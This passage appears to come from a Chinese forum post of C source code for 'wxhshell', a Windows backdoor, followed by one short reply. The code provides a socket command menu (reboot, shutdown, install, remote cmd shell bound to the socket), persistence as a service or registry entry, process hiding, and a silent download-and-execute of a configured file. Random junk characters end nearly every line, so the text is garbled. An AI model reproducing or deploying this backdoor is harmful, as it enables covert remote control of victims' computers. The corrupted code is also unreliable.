  send(wsh,msg_ws_err,strlen(msg_ws_err),0); TAKv E=a;  
  else hScC< =W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {K42PmQL  
  } y:ad%,. C  
  else { XmX{e.<NZ  
|Y]4PT#EE  
    switch(cmd[0]) { oVja$;>  
  y8CH=U[  
  // 帮助 [X\~J &kD  
  case '?': { O#B2XoZa+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OCN@P+L3q  
    break; HMPb%'U~  
  } DNy 6Kw  
  // 安装 8AuOe7D9A  
  case 'i': { Q,< V)  
    if(Install()) VVDd39q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oeIza<:=R  
    else o=y0=,:a?9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _"688u'88  
    break; vOi4$I~CJ  
    } Z@ QJ5F1y  
  // 卸载 ylwh_&>2  
  case 'r': { DRuG5|{I:  
    if(Uninstall()) k{-#2Qz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QeNN*@ ='i  
    else 6PdLJ#LS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xfADks2w  
    break; yHjuT+/wM,  
    } \S[I:fw#&  
  // 显示 wxhshell 所在路径 kP,^c {  
  case 'p': { Xjs`iK=w  
    char svExeFile[MAX_PATH]; PiZU _~A  
    strcpy(svExeFile,"\n\r"); +jN%w{^=  
      strcat(svExeFile,ExeFile); 5tQZf'pHfd  
        send(wsh,svExeFile,strlen(svExeFile),0); 5><KTya?=  
    break; l/g6Tv `w  
    } .}ePm(  
  // 重启 d}--}&r  
  case 'b': { a5nA'=|}i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8D6rShx =  
    if(Boot(REBOOT)) G"D=ozr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WI}cXXUKm0  
    else { caXSt2|'  
    closesocket(wsh); &$8YW]1M  
    ExitThread(0); ~zph,bk  
    } o GN*p_g  
    break; 8qWN~Gk1p{  
    } tiQeON-Q_  
  // 关机 QP:|D_k  
  case 'd': { W}aCU~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "`Mowp*  
    if(Boot(SHUTDOWN)) > xie+ ^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tv'=xDCp  
    else { "#G`F  
    closesocket(wsh); -cP7`.a  
    ExitThread(0); crl"Ec  
    } 3+oGR5gIN  
    break; pRH'>}rtuH  
    } ;\(X;kQi  
  // 获取shell Td,s"p>Vq  
  case 's': { iWp 6^g  
    CmdShell(wsh); S\R5SRE  
    closesocket(wsh); + [~)a 4#  
    ExitThread(0); <tto8Y j  
    break; N977F$B o  
  } "xV0$%  
  // 退出 Y4Y~e p  
  case 'x': { 7-A/2/G<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nR`)kORc  
    CloseIt(wsh); >vKOG@I  
    break; #b wGDF  
    } #$ooV1E  
  // 离开 gnN"6r1  
  case 'q': {  rBUWzpE"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z=yE- I{  
    closesocket(wsh); O 8XHaVLg3  
    WSACleanup(); *~0U4kw+  
    exit(1); OAo;vC:^  
    break; IaT\ymm`  
        } Pmdf:?B  
  } Q:U>nm>xA  
  } hI 1or4V  
V_/.]zQA  
  // 提示信息 Y1R?, 5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Yan}H}Oq  
} 9Yd"Y-   
  } `lA_knS  
:JIJ!Xn)  
  return; 0)rayzv  
} ]\m >N]P]  
qPoN 8>.  
// shell模块句柄 bCqTubbx!t  
int CmdShell(SOCKET sock)  L30$  
{ $8WWN} OC  
STARTUPINFO si; " 6ScVa5)  
ZeroMemory(&si,sizeof(si)); .,F`*JVFq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vEw8<<cgg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M@+Pq/f:  
PROCESS_INFORMATION ProcessInfo; mI'&!@WG  
char cmdline[]="cmd"; -car>hQq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +t%1FkI\  
  return 0; EhAaaG  
} 3?e~J"WXC5  
c8LMvL  
// 自身启动模式 Vw]!Kb7tA  
int StartFromService(void) eY[kUMo  
{ j]C}S*`"  
typedef struct QJ+Ml  
{ 1pAcaJzf  
  DWORD ExitStatus; M $f6. j  
  DWORD PebBaseAddress; a:Nf +t  
  DWORD AffinityMask; qe 'RvBz  
  DWORD BasePriority; K[yP{01  
  ULONG UniqueProcessId; 54].p7  
  ULONG InheritedFromUniqueProcessId; fcO|0cQ  
}   PROCESS_BASIC_INFORMATION; XAZPbvG|$  
/j-c29nz  
PROCNTQSIP NtQueryInformationProcess; HD'adj_,  
cx]H8]ch7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; //'&a-%$^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +xd@un[r<  
'xLXj>  
  HANDLE             hProcess; RsYMw3)G  
  PROCESS_BASIC_INFORMATION pbi; S)?N6sz%  
BbiyyRa  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z/czAr@4  
  if(NULL == hInst ) return 0; 7=/iFv[  
/cT6X]o8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sI.p( -K Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0O[le*3b  
YSrjg|k*  
  if (!NtQueryInformationProcess) return 0; &\%\"Zh  
""A6n{4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [bw1!X3  
  if(!hProcess) return 0; \)?+6D'#  
)-0+O=v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /_qHF-  
#Vu;R5GZ}  
  CloseHandle(hProcess); 1'N<ITb  
v*OV\h.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !_FTy^@c2  
if(hProcess==NULL) return 0; cyo[HI?WM  
XFYa+]B2q  
HMODULE hMod; C^;>HAK|F  
char procName[255]; bp<,Xfl  
unsigned long cbNeeded; 3"juj '  
NeJ->x,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'E&tEbY  
 AGm=0Om  
  CloseHandle(hProcess); *?\u5O(  
UVXSW*$  
if(strstr(procName,"services")) return 1; // 以服务启动 w{t]^w:  
mFeR~Bi>!  
  return 0; // 注册表启动 zdw* ?C  
} 5KP\#Y  
OADW;fj  
// 主模块 Ot)S\s>  
int StartWxhshell(LPSTR lpCmdLine) ik #Wlz`4  
{ `5e{ec c7  
  SOCKET wsl; 3-&~jm~"  
BOOL val=TRUE; #uF`|M$u  
  int port=0; ~KRS0 ^  
  struct sockaddr_in door; KK6fRtKv>q  
P*H0Hwn;  
  if(wscfg.ws_autoins) Install(); S}a]Bt  
:%Oz:YxC/  
port=atoi(lpCmdLine); e"_kH_7sv  
8t. QFze?  
if(port<=0) port=wscfg.ws_port; I&m' a  
o2'Wu:Y"  
  WSADATA data; 8N+T=c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >cLh$;l  
}%z%}V@(&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;>L8&m)R5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0ckmHv  
  door.sin_family = AF_INET; b kc*it  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hNhEA $X5  
  door.sin_port = htons(port); { 0-on"o  
Ctn 4q'Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z:$ibk4#h  
closesocket(wsl); ) P>/g*  
return 1; }Z{FPW.QK  
} !l=)$RJKdD  
{z\K!=X/  
  if(listen(wsl,2) == INVALID_SOCKET) { lZuH:AH  
closesocket(wsl); )$1>6C\  
return 1; T2/:C7zL  
} !n` |k  
  Wxhshell(wsl); 22=sh;y+2  
  WSACleanup(); s2<[@@@q  
yCA8/)>Gm  
return 0; KGcjZx04!  
Sb> &m  
} pB#I_?(  
+wJ!zab`  
// 以NT服务方式启动 awwSgy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d$ n31F  
{ ZOMYo]  
DWORD   status = 0; NPrLM5  
  DWORD   specificError = 0xfffffff; s'oNW  
tv.<pP9-C  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k@un}}0r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w#[cGaIB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A=5Ebu!z  
  serviceStatus.dwWin32ExitCode     = 0; R^$|D)(  
  serviceStatus.dwServiceSpecificExitCode = 0; ;Xy=;Z.]i  
  serviceStatus.dwCheckPoint       = 0; 2,F9P+  
  serviceStatus.dwWaitHint       = 0; '5 ~cd  
as|w} $  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); PCHspe9!y  
  if (hServiceStatusHandle==0) return; )Z:D}r8[  
W>i"p~!  
status = GetLastError(); /.<v,CR  
  if (status!=NO_ERROR) Y#XRn _2D  
{ ~mARgv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; AB`.K{h  
    serviceStatus.dwCheckPoint       = 0; ~r!(V;k{  
    serviceStatus.dwWaitHint       = 0; CUYA:R<)  
    serviceStatus.dwWin32ExitCode     = status; 3V?x&qlP>  
    serviceStatus.dwServiceSpecificExitCode = specificError; aY#?QjL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [5& nH@og  
    return; #MlpOk*G  
  } Y}v3J(l  
~^V&n`*7D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; DrkTM<  
  serviceStatus.dwCheckPoint       = 0;  L"%SU  
  serviceStatus.dwWaitHint       = 0; eu9*3'@A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4$[o;t>  
} CDRbYO  
vM6W64S  
// 处理NT服务事件,比如:启动、停止 gWGDm~+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) UJSIbb5  
{ 8ZVQM7O  
switch(fdwControl) a \1QnCy  
{ %Qlc?Wl:  
case SERVICE_CONTROL_STOP: h7!O K  
  serviceStatus.dwWin32ExitCode = 0; DkEv1]6JI_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; T1 $E][@Iv  
  serviceStatus.dwCheckPoint   = 0; p>;@]!YWQ  
  serviceStatus.dwWaitHint     = 0; =I546($  
  { ;6Yg}L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LCH\;07V#  
  } wCB*v<*  
  return; v={{ $=/t  
case SERVICE_CONTROL_PAUSE: KDq="=q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o~IAZU39  
  break; nYj rEy)Q  
case SERVICE_CONTROL_CONTINUE: e))L&s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3@Mh* \;\b  
  break; X!ruQem /  
case SERVICE_CONTROL_INTERROGATE: fk5'v   
  break; <[cpaZT,  
}; #mw !_]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @m9pb+=v  
} q\?s<l63  
> 0MP[  
// 标准应用程序主函数 $TXxhd 6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ovTL'j!  
{ p> `rTaeZg  
fUkqhqe  
// 获取操作系统版本 0X5cn 0L^  
OsIsNt=GetOsVer(); **Ioy+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %S^hqC  
vTO9XHc E  
  // 从命令行安装 );7 d_#  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,G t!nm_  
3!{imQT  
  // 下载执行文件 oQ<[`.s  
if(wscfg.ws_downexe) { FN-/~Su~J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u^tQ2&?O!P  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ig `q[o  
} -[L\:'Gp5  
tF`L]1r>  
if(!OsIsNt) { F,wB6Cw  
// 如果时win9x,隐藏进程并且设置为注册表启动 'F/oR/4,  
HideProc(); h#hr'3bI1  
StartWxhshell(lpCmdLine); B>^6tdz  
} n[iwi   
else ^?`fN'!p  
  if(StartFromService()) Swhz\/u9  
  // 以服务方式启动 S} m=|3%y  
  StartServiceCtrlDispatcher(DispatchTable); $72eHdy/yl  
else vPNbV  
  // 普通方式启动 My8d%GfM  
  StartWxhshell(lpCmdLine); l#KcmOz  
z4:!*:.Asu  
return 0; ltNC ti{Q  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五